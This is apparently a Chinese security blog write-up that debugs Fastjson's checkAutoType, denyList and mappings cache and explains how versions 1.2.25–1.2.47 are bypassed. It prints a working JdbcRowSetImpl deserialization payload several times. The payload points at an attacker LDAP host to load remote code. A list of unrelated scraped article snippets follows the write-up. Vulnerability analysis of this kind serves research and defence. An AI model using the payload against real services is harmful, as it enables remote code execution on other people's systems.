FastJson之autotype bypass

在1.2.25版本之后,添加了checkAutoType方法。在方法中引入了白名单(AutoType)、黑名单(denyList)和autoTypeSupport选项

checkAutoType方法

把ubuntu靶机的fastjson版本换到1.2.25,使用原始的payload进行debug

{"xxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.202.1:6666/Evail", "autoCommit":true}}

在DefaultJSONParser#parseObject中被添加的checkAutoType()方法

对比下图1.2.24版本的DefaultJSONParser#parseObject方法

autoTypeSupport

**autoTypeSupport值:**autoTypeSupport值在1.2.25版本开始的默认是为false(fastjson>=1.2.25默认为false)

**开启方式:**在代码中加入ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

首先跟进checkAutoType()方法,在方法710行中出现了autoTypeSupport


mappings缓存

**mappings作用:**在fastjson中,mappings作为一个缓存的功能,但是对绕过黑白名单起了一个很关键的作用,能绕过黑白名单的检查

在728行,出现了getClassFromMapping()方法,对typeName进行了解析(typeName就是com.sun.rowset.JdbcRowSetImpl)

跟进getClassFromMapping()方法后发现,这里从mappings中寻找key为com.sun.rowset.JdbcRowSetImpl的元素,并且返回对应的键值。

mappings集合中的数据对整个逻辑起了很重要的作用,下面只展示了部分mappings中的数据

最后会把从mappings中找到的元素进行返回给clazz,由于mappings集合中并没有com.sun.rowset.JdbcRowSetImpl元素,所以返回了null给clazz

继续往下,由于clazz为null,所以if判断为了false,直接走到了else中

这里又进行了一次autoTypeSupport值的判断,前面说了1.2.25开始默认为false,所以if判断为true进入下面的代码

denyList黑名单

**denyList黑名单:**在fastjson中,用了denyList黑名单来判断是否通过,匹配到黑名单就会直接抛出异常JSONException("autoType is not support. " + typeName)

从743行的for中遍历denyList数组中的元素,用if判断JdbcRowSetImpl是否存在denyList数组中

下面是denyList数组名单,com.sun.rowset.JdbcRowSetImpl被包含在了第3个

循环到第三次的时候,查到JdbcRowSetImpl存在于黑名单,所以抛出了异常

以上就是原始的payload打过去的效果了,可以发现,先是匹配了mappings缓存返回了null值,让if判断进入了else代码中,而else代码中则用denyList黑名单进行匹配抛出了异常,导致了payload失效

AutoType白名单

AutoType白名单:

  • 当autoTypeSupport为true时,先进行白名单过滤,匹配成功即可加载该类并返回;否则进行黑名单过滤,匹配成功直接报错;两者皆未匹配成功,则加载该类
  • 当autoTypeSupport为false时,先进行黑名单过滤,匹配成功直接报错;再匹配白名单,匹配成功即可加载该类并返回;两者皆未匹配成功,则报错

而AutoType白名单默认为null,由用户自己设置

当autoTypeSupport为默认值(false)时候,会先进行 黑名单匹配denyList,匹配不成功则进入白名单匹配

绕过黑名单检查

前面说了,fastjson会从mappings缓存中读取JdbcRowSetImpl然后赋值给clazz。由于缓存中并不存在JdbcRowSetImpl,所以为null,则进入了else逻辑进行黑名单判断

绕过思路为让com.sun.rowset.JdbcRowSetImpl进入一次mapping缓存,第二次再执行checkAutoType方法就会从mapping缓存中取出com.sun.rowset.JdbcRowSetImpl从而绕过黑白名单

以下是绕过补丁的payload:

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.202.1:6666/Evail","autoCommit":true}}

关于com.sun.rowset.JdbcRowSetImpl是怎么加入mapping缓存的可以看看这篇文章,有详细讲到:http://blog.topsec.com.cn/fastjson%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E%E7%A0%94%E7%A9%B6%EF%BC%88%E4%BA%8C%EF%BC%89/

发送payload后,查看checkAutoType方法

可以看到,这里clazz已经不为null,直接if判断为了true,从而不进入else语句,直接进行了return,从而绕过了检查

最终弹出计算器

总结:

payload:

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.202.1:6666/Evail","autoCommit":true}}

1.2.25-1.2.32版本:需要未开启AutoTypeSupport。开启了AutoTypeSupport将导致失效
1.2.33-1.2.47版本:无论是否开启AutoTypeSuppt,都能成功利用

原因是1.2.33版本,以下的黑名单过滤判断中,com.sun.rowset.JdbcRowSetImpl存在于mappings缓存中导致了第二个判断条件为false,从而使得黑名单判断语句失效

参考:

https://www.jianshu.com/p/35b84eda9292

http://blog.topsec.com.cn/fastjson%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E%E7%A0%94%E7%A9%B6%EF%BC%88%E4%BA%8C%EF%BC%89/

https://blog.csdn.net/qq_34101364/article/details/111706189

FastJson之autotype bypass相关推荐

  1. java的autotype,关于 fastjson 异常 autoType is not support 问题分析解决

    数据仓库数据抽取服务在不久前增加了 OrientDB 的支持,当时使用了 Orient 官方提供的 JDBC 接口,后来发现 Orient JDBC 真是垃圾到无法言语了,不能满足我们自动化的 ETL ...

  2. 解决com.alibaba.fastjson.JSONException: autoType is not support

    转载自 https://blog.csdn.net/cdyjy_litao/article/details/72458538 最近发现进程运行日志中出现很多下面的日志: com.alibaba.fas ...

  3. 初探fastJson的AutoType

    文章目录 1. AutoType 何方神圣? 1.1 type字段 1.2 setAutoTypeSupport 2.反序列化攻击 3.AutoType 安全模式 4.参考 1. AutoType 何 ...

  4. fastjson报autotype is not support

    安全升级公告 最近发现fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞,为了保证系统安全,请升级到1.2.28/1.2.29/1.2.30/1.2.31或者更新版本. 1.2.2 ...

  5. Fastjson 1.2.68 bypass autotype

    参考: fastjson 1.2.68 最新版本有限制 autotype bypass 寻找Fastjson 1.2.68 AutoCloseable利用链 https://rmb122.com/20 ...

  6. Fastjson 1.2.68版本Autotype绕过技巧

    影响范围 Fastjson  1.2.68 漏洞类型 Fastjson 1.2.68 AutoType Bypass(通过异常类) org.openqa.selenium + Fastjson可造成信 ...

  7. Javaweb安全——Fastjson反序列化利用

    Fastjson前置知识 反序列化函数 Object obj = JSON.parse(); //解析为JSONObject类型或者JSONArray类型 Object obj = JSON.pars ...

  8. 深度对比Jackson和Fastjson,最终我还是选择了...

    点击关注公众号,Java干货及时送达 来源:cnblogs.com/larva-zhh/p/11544317.html 为什么要替换fastjson 框架选型 替换fastjson Deseriali ...

  9. 烽火狼烟丨Fastjson反序列化漏洞风险提示

    1.漏洞概述 近日,WebRAY安全服务产品线监测到Fastjson官方发布公告,修复了一个存在Fastjson1.2.80版本以及之前的版本的反序列化漏洞. Fastjson是一个由Java语言编写 ...

  10. 渗透测试-Fastjson各版本漏洞分析(下)

    - fastjson 1.2.45 - 1.2.44中对[进行了判断,我们用1.2.43的POC,然后下个JSONException的异常断点,看看是怎么判断的 运行后,在com.alibaba.fa ...

最新文章

  1. ecshop微信扫描支付开发
  2. No serializer found for class org.hibernate.proxy.pojo.javassist.JavassistLazyInitializer解决方法
  3. 一个关于binder的debug技巧
  4. wikioi 1294 全排列 dfs
  5. 【转】面向对象之多态(向上转型与向下转型)
  6. ThreadLocal 解决多线程程序的并发问题+事务处理
  7. react native 之setState
  8. java电商网站源码_java 的电商系统的完整源码+文档
  9. PDF虚拟打印机怎么保存文件
  10. 利用鱼塘理论告诉你2020年怎么做IP运营推广
  11. 我安装archlinux的过程总结
  12. LPDDR4的训练(training)和校准(calibration)--ZQ校准(Calibration)
  13. unexpected EOF while looking for matching ``'
  14. (强烈推荐)移动端音视频从零到上手(转载)
  15. 无线局域网简介 小白级别
  16. 基于java的千千影评网站的设计与实现(论文+程序设计源码+数据库文件)
  17. 杰奇cms mysql查询_杰奇cms自动推送链接插件使用方式
  18. OBS推流时的视频色彩相关参数设置
  19. PAT A1091 Acute Stroke ——帘卷西风,人比黄花瘦
  20. mysql备份管家婆_管家婆怎么用SQL恢復以前备份的数据

热门文章

  1. 【设计模式】代理模式
  2. 防骗指南-套路贷以及肉偿
  3. [Android ] 进度条组件ProgressBar
  4. 《机器视觉算法与应用》第3章 机器视觉算法之数据结构——学习笔记
  5. GD32F103实战
  6. 实时帧数手机_方便好用的手机帧数记录软件
  7. Vulkan环境搭建的详细方法(for Windows)
  8. Keil破解过程中注册机被识别为病毒文件
  9. Java二分查找代码
  10. ad15的stc元件库_常用的Altium Designer AD09 AD14 AD18元件库 原理图库(543个)+PCB封装库(509个)...